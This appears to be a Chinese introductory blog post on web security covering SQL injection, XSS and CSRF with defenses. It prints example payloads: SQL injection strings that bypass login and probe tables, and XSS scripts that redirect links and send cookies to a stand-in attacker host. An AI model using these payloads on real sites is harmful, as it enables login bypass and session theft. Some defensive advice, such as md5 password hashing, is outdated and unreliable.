浅谈web开发的安全问题

一、sql注入


解释:用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQLInjection,即SQL注入。


如:

比如用户登录例子,在用户名一栏输入ddd'OR 1=1;#,查询结果就会把所有用户的列表给列出来,绕过密码验证。

猜测表名,如插入ddd'OR (select count(*) from user)>0;#,通过返回结果猜测表的名字。

当知道表的名字后,可以开始验证表结构,如插入ddd'OR `username` IS NOT NULL;#,通过结果是否报错确定表结构;

接着灌水,等等。。。


防御:

1、使用mysqlipdomysql扩展,使用sql预处理,如pdo预处理

$query= "SELECT * FROM user WHERE `username`=? AND `password`=?;";

$stmt= $dbh->prepare($query);

$stmt->execute(array($username,$password));

2、使用转义函数,如mysql_real_escape_stringaddslashes,如

$username= mysql_real_escape_string($_POST['username']);

$password= mysql_real_escape_string(md5($_POST['password']);

二、xss攻击(CrossSite Scripting跨站攻击)


解释xss表示CrossSiteScripting(跨站脚本攻击),它与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/修改/删除数据的目的,而在xss攻击中,通过插入恶意脚本,实现对用户游览器的控制。


恶意插入文案:

<fontcolor='red'>哈哈哈</font>

恶意修改钓鱼链接:

<script>window.οnlοad=function(){document.links[0].href='xxx.attack-site.com'}</script>

盗取cookie

<script>(function(){vars =document.createElement('script');s.src='xxx.attack-site.com/saveCookie.php?c='+escape(document.cookie);document.body.appendChild(s);})()</script>


ps:谷歌安全机制CSP可以检测xss攻击代码,详情请移步http://drops.wooyun.org/tips/1439


防御:

1、使用内置过滤函数,如htmlspecialcharsstrip_tagsaddslashes

2、使用正则匹配html代码匹配和过滤字符

ps对于使用addslashes时,要去掉添加的反斜杠时,要使用stripslashes函数来去除




三、csrf攻击(Cross-siterequest forgery跨站伪造请求)


解释:CSRFCross-siterequest forgery跨站请求伪造,也被称为“oneclick attack”或者session riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本XSS),但它与XSS非常不同,并且攻击方式几乎相左。XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。


如:

在线刷票,通过登录大量用户,将用户参数提交到相应api进行刷票。

学校网络公选课,爬虫抓取页面用户id和课程examid,提交到相应的api进行刷课。


防御:

1、进行手动客户端验证,验证客户端header的数据,如ipuarefere、时间戳等信息,确认是否是合理客户端。

2、提交参数添加token,后端将token存在session或者缓存中,前端通过密钥、应用信息、时间戳算出token,隐藏提交token(其实也不安全),后台拦截token并验证。

3、自定义http头属性,可以与上述token方法结合,如XMLHttpRequest对象使用函数setRequestHeaderjquery在事件beforeSend里填写相应操作

4、使用认证协议,如kerberoscas等,各个开发平台还要安装各自的扩展,详情移步

kerberoshttp://idior.cnblogs.com/archive/2006/03/20/354027.html

http://gost.isi.edu/publications/kerberos-neuman-tso.html


cashttp://www.cas.org/

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值